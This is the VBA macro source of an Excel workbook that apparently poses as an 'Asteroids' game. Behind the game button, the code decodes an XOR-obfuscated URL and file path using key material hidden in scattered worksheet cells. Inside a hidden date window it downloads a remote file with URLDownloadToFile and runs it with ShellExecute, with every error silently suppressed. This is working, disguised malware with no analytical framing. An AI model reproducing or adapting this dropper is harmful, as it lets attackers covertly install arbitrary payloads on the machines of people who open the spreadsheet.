Private Declare Function URLDownloadToFile Lib "urlmon" Alias _ "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _ szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" _ (ByVal hwnd As Long, _ ByVal lpOperation As String, _ ByVal lpFile As String, _ ByVal lpParameters As String, _ ByVal lpDirectory As String, _ ByVal nShowCmd As Long) As Long Private Sub GF() WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16") FL = X("51092F16535C6F003A56") RV = URLDownloadToFile(0, WL, FL, 0, 0) End Sub Private Sub EX() Dim OF As String On Error Resume Next UP = X("51092F") OF = X("40521E4A574924") RV = ShellExecute(0, "open", OF, "", UP, 3) End Sub Private Function X(DI As String) As String Dim CK, sDO As String Dim lDP, iXV1, iXV2 As Integer On Error Resume Next CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _ Worksheets("Data").Range("Z9550") For lDP = 1 To (Len(DI) / 2) iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2))) iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1)) sDO = sDO + Chr(iXV1 Xor iXV2) Next lDP X = sDO End Function Sub Rectangle1_Click() Asteroids.Show False Call MN End Sub Function KG() KG = Worksheets("Sheet2").Range("AE9529") & Worksheets("Sheet2").Range("Z9550") & _ Worksheets("Sheet2").Range("E8761") End Function Sub MN() Dim SD As Date Dim ED As Date Dim CD As Date ' On Error Resume Next SD = X("071C41571D03715472") ED = X("071C41521D03715472") CD = Date If (CD >= SD) And (CD < ED) Then Call GF Call EX End If End Sub